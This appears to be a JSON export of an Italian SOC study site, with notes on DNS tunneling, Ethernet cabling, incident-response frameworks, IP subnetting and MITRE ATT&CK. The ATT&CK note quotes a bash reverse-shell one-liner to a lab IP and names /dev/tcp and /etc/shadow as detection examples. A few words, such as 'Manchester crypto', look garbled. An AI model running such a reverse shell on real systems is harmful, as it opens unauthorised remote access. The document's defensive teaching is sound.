lsof -i UDP:53 Se confermato: isola l'host, analisi memoria per estrarre il malware, blocca il dominio C2 a livello firewall/DNS sinkhooling.\nCollegato a # network — categoria dns-records — NS record, TXT record, authoritative server dns-resolution-flow — catena recursive resolver → authoritative tshark — rilevamento pattern anomali nel dfir wazuh-architecture — alert su volume DNS anomalo reverse-shell — altro vettore C2, confronto con DNS tunneling glossario-cyber — definizioni: C2, beaconing, vettore di attacco ","date":"29 aprile 2026","externalUrl":null,"permalink":"/concetti/dns-tunneling/","section":"Concetti","summary":"Tecnica C2 che usa il protocollo DNS per trasportare comandi e dati esfiltrati, bypassando i firewall perche' UDP 53 e' quasi sempre permesso.","title":"DNS Tunneling","type":"concetti"},{"content":" Cosa fa # Il connettore RJ-45 e i cavi Ethernet collegano fisicamente i dispositivi di rete. La disposizione dei fili (pinout) determina quale tipo di cavo serve a seconda di chi si sta collegando a chi.\nTL;DR # Due dispositivi DIVERSI (PC \u0026lt;-\u0026gt; switch): cavo DRITTO pin 1→1, 2→2, 3→3... Due dispositivi UGUALI (PC \u0026lt;-\u0026gt; PC): cavo INCROCIATO pin 1→3, 2→6 (TX diventa RX) Ogni dispositivo ha pin che trasmettono (TX) e pin che ricevono (RX). Il cavo deve incrociare TX di un capo con RX dell'altro — o lo fai tu con il cavo, o lo fa lo switch da solo (Auto-MDI/MDIX).\nIl connettore RJ-45 # RJ-45 sta per Registered Jack 45. E' il connettore modulare a 8 pin usato per i cavi Ethernet (Cat5, Cat5e, Cat6, Cat6a).\nVista frontale del connettore (clip verso il basso, face up): 1 2 3 4 5 6 7 8 | | | | | | | | +---------+---------+ | RJ-45 | +-------------------+ I pin sono numerati da sinistra (1) a destra (8).\nPin e segnali TX/RX # Per Fast Ethernet (100BASE-TX) vengono usate solo 2 coppie di fili su 4:\nPin Segnale Ruolo Significato 1 TX+ Transmit positivo Trasmissione — filo positivo della coppia differenziale 2 TX- Transmit negativo Trasmissione — filo negativo della coppia differenziale 3 RX+ Receive positivo Ricezione — filo positivo della coppia differenziale 6 RX- Receive negativo Ricezione — filo negativo della coppia differenziale 4,5,7,8 — Non usati Riservati o usati per Power over Ethernet (PoE) Note I segnali sono differenziali: il dato e' la differenza di tensione tra TX+ e TX-, non il valore assoluto. Questo rende la trasmissione immune ai disturbi elettromagnetici (EMI) — se un campo esterno alza entrambi i fili di 0.5V, la differenza non cambia.\nCavi dritti (straight-through) # Il pinout e' identico su entrambi i capi: pin 1 di un lato arriva a pin 1 dell'altro, pin 2 a pin 2, e cosi' via.\nLato A Lato B 1 (TX+) ─────────────► 1 (TX+) 2 (TX-) ─────────────► 2 (TX-) 3 (RX+) ─────────────► 3 (RX+) 6 (RX-) ─────────────► 6 (RX-) Funziona perche' PC e switch hanno ruoli opposti per design: dove il PC trasmette (TX), lo switch riceve (RX) su quello stesso pin.\nQuando si usa: collegare dispositivi di tipo diverso.\nDa A PC Switch PC Hub Router Switch Cavi incrociati (crossover) # I pin TX di un capo vengono collegati ai pin RX dell'altro. In pratica: 1↔3 e 2↔6 vengono scambiati.\nLato A Lato B 1 (TX+) ─────────────► 3 (RX+) 2 (TX-) ─────────────► 6 (RX-) 3 (RX+) ─────────────► 1 (TX+) 6 (RX-) ─────────────► 2 (TX-) Serve perche' due dispositivi dello stesso tipo hanno lo stesso schema TX/RX: se li colleghi con un cavo dritto, TX finisce su TX — nessuno riceve niente.\nQuando si usa: collegare dispositivi dello stesso tipo.\nDa A PC PC Switch Switch Router Router Hub Hub Auto-MDI/MDIX # Sugli switch e schede di rete moderni (dalla fine degli anni 2000), il firmware detecta automaticamente la polarita' del cavo e inverte internamente se necessario.\nConseguenza pratica: oggi puoi usare un cavo dritto anche tra due PC e funziona lo stesso. I cavi crossover esistono ancora nei cataloghi ma raramente servono in un lab moderno.\nTip Se hai un vecchio switch o un'apparecchiatura industriale senza Auto-MDI/MDIX, il cavo crossover e' ancora necessario. Lo riconosci dal fatto che sull'etichetta o nel datasheet non compare \u0026quot;MDI/MDIX auto\u0026quot;.\nCome il segnale elettrico codifica i bit # Il cavo trasporta variazioni di tensione, non 0 e 1 diretti. Esistono diversi schemi di codifica a seconda della velocita':\n10BASE-T — Manchester Encoding # Ogni bit e' rappresentato da una transizione di tensione nel mezzo del suo intervallo di tempo:\nBit 1: tensione sale da basso ad alto nel centro dell\u0026#39;intervallo Bit 0: tensione scende da alto a basso nel centro dell\u0026#39;intervallo Bit: 1 0 1 1 0 | | | | | +V ─┐ │ ┌───┐ ┌───┐ ┌───┐ │ ┌── └──┤ │ └──┘ └──┘ └──┤ │ -V └──┘ └──┘ Ogni bit contiene sempre una transizione — questo permette al ricevitore di sincronizzare il proprio clock senza un segnale separato (self-clocking).\n100BASE-TX — MLT-3 (Multi-Level Transmission) # Usa tre livelli di tensione: -V, 0, +V. Ogni transizione da uno stato al successivo rappresenta un 1. Nessuna transizione rappresenta uno 0. Questo abbassa la frequenza massima del segnale rispetto al Manchester crypto, permettendo 100 Mbps su cavo Cat5 senza superare i limiti di emissione elettromagnetica.\nPerche' la \u0026quot;frequenza\u0026quot; conta # La velocita' con cui la tensione cambia (frequenza del segnale) determina quanti bit al secondo si trasmettono. Un segnale che oscilla piu' rapidamente trasporta piu' dati ma richiede cavi di qualita' superiore (Cat6 per Gigabit, Cat6a per 10 Gigabit) e si degrada piu' facilmente su lunghe distanze.\nImportant Questo e' il motivo per cui la lunghezza massima di un segmento Ethernet e' 100 metri: oltre quella distanza, il segnale si attenua abbastanza da rendere le transizioni di tensione indistinguibili dal rumore di fondo.\nScenario Reale # In un lab o in un ambiente aziendale, un analista SOC che installa un tap di rete (per catturare traffico con tcpdump o Wireshark) deve scegliere il cavo giusto: se il tap va in mezzo tra PC e switch → cavo dritto su entrambi i lati. Se si collega direttamente la scheda di cattura a un altro PC per test → cavo crossover (o patch su switch con porta mirror).\nCollegato a # network — categoria ip-addressing-subnetting — le interfacce RJ-45 del router definiscono i confini di rete arp — ARP lavora allo stesso livello fisico/datalink di questi cavi ","date":"29 aprile 2026","externalUrl":null,"permalink":"/concetti/rj45-cavi-ethernet/","section":"Concetti","summary":"Il connettore RJ-45 ha 8 pin con ruoli TX/RX distinti. I cavi dritti collegano dispositivi diversi, i cavi incrociati collegano dispositivi uguali. Il segnale elettrico codifica i bit tramite variazioni di tensione.","title":"RJ-45 e Cavi Ethernet - Pinout, Dritti e Incrociati","type":"concetti"},{"content":" Cosa fa # Definisce come un SOC gestisce un incidente di sicurezza dall'inizio alla fine. Esistono piu' framework — non si escludono, si usano in modo complementare.\nDefinizione di IR # Esistono due definizioni di riferimento:\nNIST: La remediation o mitigazione di violazioni delle policy di sicurezza e delle pratiche raccomandate. SANS: Il processo strutturato di identificazione, gestione e mitigazione degli effetti di un incidente di sicurezza informatica, con l'obiettivo di minimizzare i danni, ripristinare le operazioni e prevenire ricorrenze future. La definizione SANS e' piu' operativa — quella usata nei SOC. La definizione NIST e' piu' formale — usata in compliance e governance.\nFramework a confronto # I framework non sono alternativi: operano a livelli diversi dello stesso problema e si usano in modo complementare.\nFramework Ente Struttura Livello NIST CSF 2.0 NIST (USA) 6 funzioni: Govern, Identify, Protect, Detect, Respond, Recover Strategico — governance, CISO, audit, compliance aziendale NIST SP 800-61r3 NIST (USA) 4 fasi: Preparation / Detection \u0026amp; Analysis / Containment+Eradication+Recovery / Post-Incident Activity Tattico IR — il \u0026quot;metamodello\u0026quot; del processo di risposta, con enfasi su risk management e miglioramento continuo PICERL SANS 6 fasi: Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned Operativo SOC — scomposizione piu' granulare della parte Detect/Respond/Recover di NIST SP 800-61 MITRE ATT\u0026amp;CK MITRE Tattiche, tecniche e procedure degli attaccanti Linguaggio — classifica cosa ha fatto l'attaccante in ogni fase Time Based Security Winn Schwartau Misura tempi: Pt \u0026gt; Dt + Rt Metrica — valuta l'efficacia della postura difensiva Come si integrano in un programma IR moderno # NIST CSF 2.0 → livello policy e framework aziendale \u0026#34;cosa deve fare il programma di sicurezza\u0026#34; Govern / Identify / Protect / Detect / Respond / Recover └── NIST SP 800-61r3 → livello processo IR tattico \u0026#34;come gestire un incidente\u0026#34; Preparation → Detection/Analysis → Response → Recovery → Post-Incident └── PICERL → livello operativo SOC / playbook \u0026#34;cosa fa concretamente il team dal ticket alla chiusura\u0026#34; Preparation → Identification → Containment → Eradication → Recovery → Lessons Learned Note PICERL mappa sulla parte centrale di NIST SP 800-61 (Detection/Analysis + Response + Recovery). Non e' in alternativa a NIST — e' il linguaggio che gli analisti usano dentro quel perimetro. A livello policy \u0026quot;si parla NIST/CSF\u0026quot;; a livello playbook e formazione analisti \u0026quot;si parla PICERL\u0026quot;.\nCome si usano insieme in pratica:\nA livello CISO/audit: usa NIST CSF per dimostrare maturita' del programma di sicurezza A livello processo IR: usa NIST SP 800-61 come riferimento formale nella documentazione e nei report A livello operativo SOC: segui PICERL come guida durante l'incidente (playbook, runbook, formazione analisti) Classificazione tecniche: usa MITRE ATT\u0026amp;CK in ogni fase per descrivere cosa ha fatto l'attaccante Misurazione efficacia: usa TBS per verificare che Pt \u0026gt; Dt + Rt PICERL — dettaglio operativo # flowchart LR subgraph cycle[\"Continuous Improvement Cycle\"] P[Prepare] end subgraph im[\"Incident Management\"] I[Identify] C[Contain] E[Eradicate] R[Recover] LL[Lessons Learned] I --\u003e C I --\u003e E C --\u003e R E --\u003e R R --\u003e LL end P --\u003e I LL --\u003e|Constant Feedback Loop| P Note Contain ed Eradicate sono in parallelo: puoi contenere (isolare) mentre eradichi (rimuovi la minaccia). Il Feedback Loop e' il punto critico — le Lessons Learned devono migliorare la Preparation del prossimo incidente.\n1. Preparation (Preparazione) # Costruire le fondamenta prima che l'incidente accada.\nPolicy, Communication Plan, Response Strategy Jump Bag (kit di emergenza), Checklists, Access Control per il CIRT Drill periodici — il team deve sapere cosa fare senza improvvisare 2. Identification (Identificazione) # Rilevare l'incidente e determinarne lo scope.\nRispondere alle 5W + 1H: Who, What, Where, When, Why, How Determinare se e' un vero incidente o un falso positivo Classificare la severity 3. Containment (Contenimento) # Fermare la diffusione e limitare i danni.\nShort-term: Isolare l'host (staccare rete, bloccare account) System Back-Up: Creare copie forensi PRIMA di pulire — non alterare le evidenze Long-term: Patch temporanee per continuita' del business 4. Eradication (Eradicazione) # Rimuovere completamente la minaccia e le tracce.\nMetodo preferito: reimaging (ripristino da immagine pulita) Chiudere le vulnerabilita' sfruttate Rimuovere malware, backdoor, account creati dall'attaccante 5. Recovery (Ripristino) # Riportare i sistemi in produzione con monitoraggio intensivo.\nValidare che il sistema non venga re-infettato Monitoraggio aumentato nelle prime ore/giorni Approvazione formale prima del ripristino in produzione 6. Lessons Learned (Lezioni Apprese) # Analisi post-mortem per migliorare il processo.\nPlay-by-play review dell'incidente Output: report finale con timeline, impatto, azioni correttive Aggiornare playbook, regole SIEM, policy in base a quanto appreso Incident Handler's Checklist # Fase Domanda di controllo P Il team ha accesso ai tool e ai contatti? I drill sono stati eseguiti? I 5W+1H risposto? Scope definito? Severity classificata? C Forensic backup creato? Host isolato? Account bloccati? E Malware rimosso? Sistema reinstallato? Vulnerabilita' chiuse? R Monitoraggio attivo? Ripristino approvato formalmente? L Timeline documentata? Playbook aggiornato? Regole SIEM aggiornate? Letture di approfondimento # ISO/IEC 27035 — Information Security Incident Management ENISA Incident Management Guidelines ASD Strategies — Australian Signals Directorate, mitigazioni pratiche NIST SP 800-61 — Computer Security Incident Handling Guide (gratuito) Scenario Reale # Lab 2026-05-10 — Reverse Shell da Kali su Ubuntu:\nIdentification → Wazuh alert: auditd syscall connect() su bash Analysis → raccogli IoC: IP 192.168.64.200, porta 4444, processo bash, durata 205s, syscall 203 ARM64 Containment → kill -9 $(lsof -t -i:4444) + ufw deny out 4444 Eradication → rimuovi il vettore iniziale (servizio vulnerabile) Recovery → ripristina e monitora Lessons Learned → ROOT CAUSE ANALYSIS: \u0026#34;perché Ubuntu era vulnerabile?\u0026#34; → servizio esposto non patchato sulla porta 8080 → quella è la porta d\u0026#39;ingresso, non la 4444 Important Root cause analysis risponde a \u0026quot;perché?\u0026quot; non a \u0026quot;cosa?\u0026quot;. Raccogliere IoC = Analysis. Capire perché il sistema era vulnerabile = Lessons Learned. Senza root cause analysis chiudi la porta 4444 ma l'attaccante rientra dalla 5555.\nUn analista rileva un'esecuzione anomala di PowerShell tramite Wazuh (alert SIEM):\nIdentification — risponde alle 5W+1H, classifica come True Positive, severity High Containment — isola la workstation, crea forensic backup Eradication — reimaging del sistema, chiude la vulnerabilita' sfruttata Lessons Learned — scrive una regola Sigma per rilevare quel pattern in futuro, aggiorna il playbook Strumenti usati: Wazuh (SIEM) per Identification, MITRE ATT\u0026amp;CK per classificare le tecniche, PICERL come guida al processo.\nCollegato a # observability — SIEM e monitoring nella fase Identification network — Digital Forensics nella fase Containment soc-tiers — chi esegue le fasi (Tier 1/2/3) mitre-attack-framework — classifica le tecniche dell'attaccante incident-report-reverseshell — esempio reale di IR applicato investigazione-linux — comandi per la fase Identification su Linux ","date":"28 aprile 2026","externalUrl":null,"permalink":"/concetti/incident-response-lifecycle/","section":"Concetti","summary":"Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT\u0026CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.","title":"Incident Response - Framework e Lifecycle","type":"concetti"},{"content":" Cosa fa # Definisce l'identità di una macchina in rete (IP) e il confine del suo \u0026quot;quartiere\u0026quot; (Subnet Mask). La maschera determina quale parte dell'IP identifica la rete e quale identifica l'host specifico.\nStruttura di un indirizzo IPv4 # [ 192 . 168 . 1 . 34 ] / 24 │ │ │ │ │ └─────┬────┘ │ └─ CIDR: primi 24 bit fissi (rete) │ │ NETWORK ID HOST ID (la strada) (il civico) Concetto Esempio Significato IP Address 192.168.1.34 Indirizzo completo della macchina Subnet Mask 255.255.255.0 Confine del \u0026quot;quartiere\u0026quot; Network ID 192.168.1.0 Nome della rete — uguale per tutti i vicini Host ID .34 Numero specifico nella rete Gateway 192.168.1.1 Il cancello per uscire dalla subnet Broadcast 192.168.1.255 Indirizzo per parlare a tutti contemporaneamente Comunicazione dentro e fuori la subnet # STESSA SUBNET — comunicazione diretta 192.168.1.10 → 192.168.1.20 ✓ si parlano direttamente via ARP/MAC nessun router coinvolto SUBNET DIVERSA — passa dal gateway 192.168.1.10 → 192.168.2.20 ✗ subnet diversa → pacchetto va al gateway → router decide il percorso Il dispositivo determina se la destinazione e' nella stessa subnet applicando la subnet mask all'IP di destinazione. Se il network-defense ID coincide → consegna diretta. Se no → gateway.\nInterfacce router = confini di rete # Ogni interfaccia fisica (o virtuale) di un router definisce una rete distinta. I dispositivi collegati alla stessa interfaccia appartengono alla stessa rete. Per comunicare tra reti diverse, i pacchetti devono transitare dal router.\nRouter ├── GigabitEthernet 0/0 → 192.168.1.0/24 (es. ufficio) └── GigabitEthernet 0/1 → 10.0.0.0/24 (es. server farm) Un host su 192.168.1.x non raggiunge 10.0.0.x senza passare dal router. Tre esempi dello stesso concetto:\nScenario Interfacce Reti Packet Tracer GigabitEthernet 0/0 e 0/1 192.168.1.0/24 e 10.0.0.0/24 — due porte RJ-45, due reti distinte Router Fastweb WAN + 4 porte LAN IP pubblico Fastweb / 192.168.1.0/24 — le 4 LAN sono la stessa rete perche' c'e' uno switch integrato Lab UTM host-only + internet Mac (192.168.64.1) e' il gateway — un piede nella rete host-only, uno su internet L'IP dell'interfaccia lo sceglie l'amministratore, ma deve ricadere in un range privato RFC 1918 (vedi sezione sotto). Il gateway convenzionalmente finisce con .1, ma non e' obbligatorio.\nNote Uno switch non crea confini di rete — tutti i dispositivi sullo stesso switch sono nella stessa subnet. Il confine nasce solo dove c'e' un'interfaccia router.\nSubnet Mask — la logica dei bit # 255 in binario = 11111111 → bit a 1 = parte RETE (bloccata) 0 in binario = 00000000 → bit a 0 = parte HOST (libera) IP: 192 . 168 . 1 . 34 Subnet mask: 255 255 255 0 rete rete rete host 255 non e' un numero arbitrario — e' il massimo di 8 bit (2^8 - 1). Per questo rappresenta \u0026quot;ottetto completamente bloccato\u0026quot;. Vedi la matematica completa in ip-subnetting-theory.\nCIDR — notazione compatta # Il prefisso CIDR indica quanti bit sono riservati alla rete:\nCIDR Subnet Mask Host utili Uso tipico /8 255.0.0.0 16.777.214 Reti molto grandi, es. 10.x.x.x /16 255.255.0.0 65.534 Reti aziendali medie /24 255.255.255.0 254 Reti locali standard /30 255.255.255.252 2 Link point-to-point tra router RFC 1918 — indirizzi privati # Tre range riservati per reti private — non instradabili su Internet:\n10.0.0.0 – 10.255.255.255 /8 → grandi aziende, cloud 172.16.0.0 – 172.31.255.255 /12 → medio, usato da Docker 192.168.0.0 – 192.168.255.255 /16 → reti casalinghe, lab I router pubblici scartano automaticamente questi IP. Il terzo ottetto e' scelto liberamente dall'amministratore — non ha significato intrinseco.\nNel lab:\n192.168.64.x → rete Host-Only UTM (Mac .1, Ubuntu .3, Kali .200) 172.17.0.x → rete interna Docker Broadcast # L'ultimo IP della subnet. Un pacchetto inviato a quell'indirizzo arriva a tutti i dispositivi della LAN.\nRete 192.168.1.0/24: 192.168.1.0 → indirizzo di rete (non assegnabile) 192.168.1.1 → gateway (convenzione) 192.168.1.254 → ultimo host utile 192.168.1.255 → broadcast (non assegnabile) Note Il broadcast non attraversa il router — rimane confinato alla LAN. Questo e' uno dei motivi per cui segmentare le reti e' una difesa efficace: un attacco broadcast (es. ARP flooding) non si propaga oltre il proprio segmento.\nUsi reali del broadcast:\nARP — \u0026quot;Chi ha 192.168.1.10? Dimmi il tuo MAC\u0026quot; DHCP — nuovo dispositivo: \u0026quot;C'e' un server DHCP in giro?\u0026quot; Device discovery — stampanti, NAS, IoT si annunciano Segmentazione — Blue Team # /8 → 16 milioni di dispositivi nella stessa rete un attaccante che entra vede tutto ARP broadcast a 16 milioni di host /24 → 254 dispositivi un attaccante vede solo il suo segmento lateral movement bloccato dal router Esempio aziendale:\nUfficio HR → 192.168.1.0/24 Ufficio IT → 192.168.2.0/24 Server farm → 192.168.3.0/24 WiFi ospiti → 192.168.4.0/24 Attaccante entra dal WiFi ospiti → vede solo 254 dispositivi → non raggiunge i server senza passare dal router → il router logga il tentativo di lateral movement Indirizzi speciali di ascolto (socket) # Vedi nota dedicata: ip-listening-addresses\nIndirizzo Esposizione Implicazione SOC 127.0.0.1 Solo localhost Sicuro — non raggiungibile dall'esterno 0.0.0.0 Tutte le interfacce Esposto in rete — monitorare ::1 Localhost IPv6 Sicuro :: Tutte le interfacce IPv6 Esposto Important Se in un'investigazione vedi un servizio sensibile (DB, pannello admin) su 0.0.0.0, e' una vulnerabilita' di configurazione immediata.\nCollegato a # ip-subnetting-theory — matematica: formula host, calcolo binario, CIDR→mask, routing table ip-listening-addresses — dettaglio indirizzi di ascolto nei tool SOC arp — come vengono risolti i MAC nella stessa subnet nat-concept — come il gateway traduce tra subnet private e internet ","date":"28 aprile 2026","externalUrl":null,"permalink":"/concetti/ip-addressing-subnetting/","section":"Concetti","summary":"L'indirizzamento IP definisce l'identità di una macchina in rete (IP) e il confine del suo quartiere (Subnet Mask). RFC1918, broadcast, segmentazione Blue Team.","title":"IP Addressing \u0026 Subnetting","type":"concetti"},{"content":" Cosa fa # Spiega la matematica dietro il subnetting (calcolo binario, formula host, conversione CIDR/mask) e il funzionamento della routing table. Complemento pratico a ip-addressing-subnetting.\nFormula host per subnet # host utilizzabili = 2^(32 - prefisso) - 2 Il -2 esclude sempre l'indirizzo di rete (primo IP) e il broadcast (ultimo IP).\n/8 → 2^(32-8) - 2 = 2^24 - 2 = 16.777.214 host /16 → 2^(32-16) - 2 = 2^16 - 2 = 65.534 host /24 → 2^(32-24) - 2 = 2^8 - 2 = 254 host /30 → 2^(32-30) - 2 = 2^2 - 2 = 2 host (link point-to-point) Perche' esattamente -2 # Con un /24 hai 32 - 24 = 8 bit di host. Quei bit possono valere 0 o 1 in tutte le combinazioni possibili: 2^8 = 256 indirizzi totali, da 192.168.0.0 a 192.168.0.255.\nDue di questi sono sempre riservati e non assegnabili:\nil primo (tutti i bit host a 0): indirizzo di rete → 192.168.0.0 l'ultimo (tutti i bit host a 1): broadcast → 192.168.0.255 Quindi: 256 - 2 = 254 host usabili, da 192.168.0.1 a 192.168.0.254.\nIl procedimento e' sempre lo stesso: trovi i bit host (32 - prefisso), calcoli 2^n per gli indirizzi totali, sottrai i riservati.\nNote AWS VPC usa la stessa base ma riserva 5 indirizzi per subnet (rete, router, DNS, uso futuro, broadcast). Con un /24 in AWS: 256 - 5 = 251 host usabili.\nCalcolo binario degli ottetti # Un indirizzo IPv4 e' composto da 4 ottetti. Ogni ottetto e' un numero 0-255 rappresentabile con 8 bit.\nPosizione: | 8 | 7 | 6 | 5 | 4 | 3 | 2 | 1 | Valore: | 128 | 64 | 32 | 16 | 8 | 4 | 2 | 1 | Conversione decimale → binario:\n192 = 128 + 64 → 1 1 0 0 0 0 0 0 168 = 128 + 32 + 8 → 1 0 1 0 1 0 0 0 255 = 128+64+32+16+8+4+2+1 → 1 1 1 1 1 1 1 1 0 = → 0 0 0 0 0 0 0 0 Da CIDR a subnet mask decimale # Il prefisso CIDR indica quanti bit sono a 1 (parte rete). I restanti sono a 0 (parte host).\n/8 → 11111111.00000000.00000000.00000000 → 255.0.0.0 /16 → 11111111.11111111.00000000.00000000 → 255.255.0.0 /24 → 11111111.11111111.11111111.00000000 → 255.255.255.0 /32 → 11111111.11111111.11111111.11111111 → 255.255.255.255 Caso non standard — /20:\n/20 → 11111111.11111111.11110000.00000000 Terzo ottetto: 1 1 1 1 0 0 0 0 128+64+32+16 = 240 /20 → 255.255.240.0 Tip I valori possibili per il terzo/quarto ottetto di una subnet mask sono sempre uno di questi: 0, 128, 192, 224, 240, 248, 252, 254, 255. Sono le uniche combinazioni possibili con bit contigui a sinistra.\n/32 — l'indirizzo singolo # Il 32 non e' un numero magico — viene direttamente dalla struttura di IPv4:\n4 ottetti × 8 bit ciascuno = 32 bit totali La notazione CIDR x.x.x.x/N dice: \u0026quot;quanti di questi 32 bit sono parte di rete\u0026quot;. Quindi /32 significa semplicemente: tutti e 32 i bit usati per la rete, zero rimasti per gli host.\n/32 → tutti e 32 i bit sono \u0026#34;rete\u0026#34; 0 bit rimasti per gli host identifica UN SOLO indirizzo specifico Il router usa /32 nella routing table per indicare il proprio IP:\nC 192.168.1.0/24 → conosco TUTTA questa rete su Gig0/0 L 192.168.1.1/32 → questo specifico IP e\u0026#39; MIO (Local) Routing table — show ip route (Cisco) # Il comando show ip route mostra come il router raggiunge ogni rete.\nCodice Significato Quando appare C Connected Rete direttamente connessa a una porta L Local IP specifico assegnato a una porta (/32) S Static Route configurata manualmente O OSPF Route appresa tramite OSPF R RIP Route appresa tramite RIP Esempio con due reti:\nRouter# show ip route C 10.0.0.0/24 is directly connected, GigabitEthernet0/1 L 10.0.0.1/32 is directly connected, GigabitEthernet0/1 C 192.168.1.0/24 is directly connected, GigabitEthernet0/0 L 192.168.1.1/32 is directly connected, GigabitEthernet0/0 Quando arriva un pacchetto per 192.168.1.50:\n→ router controlla routing table → 192.168.1.50 e\u0026#39; nella rete 192.168.1.0/24 → manda fuori da Gig0/0 ✓ Tip Su Linux l'equivalente e' ip route — stessa logica, sintassi diversa.\nFlusso completo — PC verso server attraverso router # PC (192.168.1.2) vuole raggiungere Server (10.0.0.2) Step 1 — PC controlla la subnet \u0026#34;10.0.0.2 non e\u0026#39; in 192.168.1.x\u0026#34; → devo passare dal gateway 192.168.1.1 Step 2 — PC non conosce il MAC del gateway ARP Request (broadcast): \u0026#34;Chi ha 192.168.1.1?\u0026#34; ARP Reply: \u0026#34;Sono io — MAC del router\u0026#34; Step 3 — PC manda il pacchetto MAC dst: MAC del router ← cambia ad ogni hop IP dst: 10.0.0.2 ← rimane invariato fino a destinazione Step 4 — Router consulta routing table \u0026#34;10.0.0.2 e\u0026#39; in 10.0.0.0/24 → esce da Gig0/1\u0026#34; Step 5 — Router manda al server MAC dst: MAC del server ← nuovo MAC per questo hop IP dst: 10.0.0.2 ← invariato Regola chiave: il MAC cambia ad ogni hop, l'IP rimane sempre uguale.\nTabella riepilogativa subnet mask comuni # CIDR Subnet mask Host utili Uso tipico /8 255.0.0.0 16.777.214 Reti grandi (10.x.x.x) /16 255.255.0.0 65.534 Reti aziendali medie /24 255.255.255.0 254 Reti locali standard /25 255.255.255.128 126 Suddivisione di /24 /26 255.255.255.192 62 Segmento piccolo /30 255.255.255.252 2 Link point-to-point /32 255.255.255.255 0 Singolo indirizzo Risorse # cidr.xyz — visualizzatore interattivo CIDR: inserisci un blocco e vedi range, broadcast, host utili subnetcalculator.dev — calcolatore subnet con breakdown binario Collegato a # ip-addressing-subnetting — concetti core (cosa e' un IP, subnet mask, RFC1918) arp — come viene risolto il MAC nella stessa subnet (Step 2 del flusso) nat-concept — come il gateway traduce tra subnet private e Internet ","date":"28 aprile 2026","externalUrl":null,"permalink":"/concetti/ip-subnetting-theory/","section":"Concetti","summary":"Matematica del subnetting: formula host 2^n-2, calcolo binario, conversione CIDR/mask, /32, routing table e flusso pacchetto attraverso router.","title":"IP Subnetting - Matematica e Routing","type":"concetti"},{"content":" Cosa fa # Fornisce un linguaggio comune e una matrice strutturata per descrivere le azioni degli attaccanti. Invece di concentrarsi su indicatori statici (IP, hash), si concentra sui comportamenti (TTP) — molto piu' difficili da cambiare per un attaccante.\nAcronimo: ATT\u0026amp;CK — Adversarial Tactics, Techniques, and Common Knowledge.\nStruttura del framework # Gerarchia # Tattica (perche\u0026#39;) └── Tecnica (come) → T1059 Command and Scripting Interpreter └── Sub-tecnica (variante specifica) → T1059.004 Unix Shell Tattiche — le 14 fasi della kill chain # # Tattica Domanda Esempio 1 Reconnaissance Cosa sa di me prima di attaccare? Scanning, OSINT 2 Resource Development Cosa prepara prima di attaccare? Dominio C2, server staging 3 Initial Access Come entra nella rete? Phishing, exploit app web 4 Execution Come esegue codice sul sistema? T1059 bash, PowerShell 5 Persistence Come rimane anche dopo reboot? Cron job, servizio di sistema 6 Privilege Escalation Come ottiene piu' permessi? Sudo exploit, SUID abuse 7 Defense Evasion Come evita il rilevamento? Disabilita log, offuscamento 8 Credential Access Come ruba credenziali? /etc/shadow, keylogger 9 Discovery Cosa c'e' nell'ambiente? whoami, net user, ip a 10 Lateral Movement Come si sposta ad altri host? SSH con chiavi rubate 11 Collection Cosa raccoglie per esfiltrazione? Archivi, database, mail 12 Command and Control Come comunica col suo server? Reverse shell su porta 4444 13 Exfiltration Come porta fuori i dati? Upload su server esterno 14 Impact Qual e' il danno finale? Ransomware, cancellazione dati Tecniche e sub-tecniche # Le sub-tecniche sono varianti della stessa tecnica — non si usano tutte insieme. Se l'attaccante ha usato una reverse shell bash: T1059.004 (Unix Shell), non T1059.001 (PowerShell). Mappi la sub-tecnica che corrisponde a quello che hai osservato.\nCome usare attack.mitre.org # Flusso operativo SOC # 1. Osservi comportamento anomalo ↓ 2. Vai su attack.mitre.org → cerchi la tecnica ↓ 3. Leggi la sezione \u0026#34;Detection\u0026#34; → ti dice cosa cercare nei log ↓ 4. Controlli se hai quei Data Sources → se si: configuri la regola SIEM → se no: hai un gap di visibilita\u0026#39; La sezione Detection # Ogni tecnica ha una sezione Detection che descrive:\nComportamenti da monitorare (es: shell con /dev/tcp negli argomenti) Data Sources — i tipi di log necessari per rilevare quella tecnica Esempio T1059.004 — Unix Shell (il nostro lab):\nMonitora l'esecuzione di bash/sh/zsh con argomenti anomali. Cerca processi shell che aprono connessioni di rete, specialmente con /dev/tcp nei parametri.\nData Sources richiesti:\nCommand Execution → auditd syscall execve, EDR Process Creation → auditd, Sysmon (Linux), EDR Nel nostro lab: il comando bash -i \u0026gt;\u0026amp; /dev/tcp/192.168.64.200/4444 0\u0026gt;\u0026amp;1 sarebbe stato visibile in auditd se configurato. Senza auditd abbiamo dovuto fare live forensics con ss -tp e ps aux.\nCercare per industria/settore # attack.mitre.org → sezione Groups: puoi cercare per settore (\u0026quot;healthcare\u0026quot;, \u0026quot;finance\u0026quot;) per trovare i gruppi APT che attaccano la tua industria e le tecniche che usano.\nNavigator # URL: https://mitre-attack.github.io/attack-navigator/\nStrumento di visualizzazione della matrice ATT\u0026amp;CK. Usi:\nColorare le tecniche che hai osservato in un incidente (mappa della kill chain) Mostrare la copertura difensiva (verde = rilevo, rosso = cieco) DeTT\u0026amp;CT puo' esportare la copertura direttamente nel Navigator Non e' per consultazione quotidiana — e' per analisi e reporting.\nDeTT\u0026amp;CT # URL: https://rabobank-cdc.github.io/dettect-editor/#/home\nRisponde alla domanda: ho i log giusti per rilevare questa tecnica?\nFunziona con file YAML che descrivono i tuoi data sources. Per ogni tecnica ATT\u0026amp;CK calcola un punteggio di visibilita':\nVerde — hai i log per rilevarla Rosso — sei cieco Esempio con il nostro Ubuntu server:\n# data sources disponibili - auditd: non configurato per execve - syslog: si - auth.log: si Risultato: T1059.004 = rosso — manca auditd. Spiega perche' nel lab non abbiamo ricevuto alert automatici.\nTop tecniche piu' osservate (CTID) # Fonte: https://ctid.mitre.org/projects/top-attack-techniques/\nID Tecnica Note T1059 Command and Scripting Interpreter Cross-platform — il nostro lab T1047 Windows Management Instrumentation Windows T1053 Scheduled Task/Job Persistence comune T1574 Hijack Execution Flow DLL hijacking, prevalentemente Windows T1543 Create or Modify System Process Persistence T1562 Impair Defenses Attaccante disabilita log/AV T1055 Process Injection Evasion avanzata T1036 Masquerading Evasion — processo che si camuffa T1021 Remote Services Lateral movement (SSH, RDP) T1003 OS Credential Dumping Mimikatz, /etc/shadow La maggior parte e' Windows-heavy. Per ambienti Linux: T1059, T1021, T1562, T1053 sono le priorita'.\nI data source piu' importanti 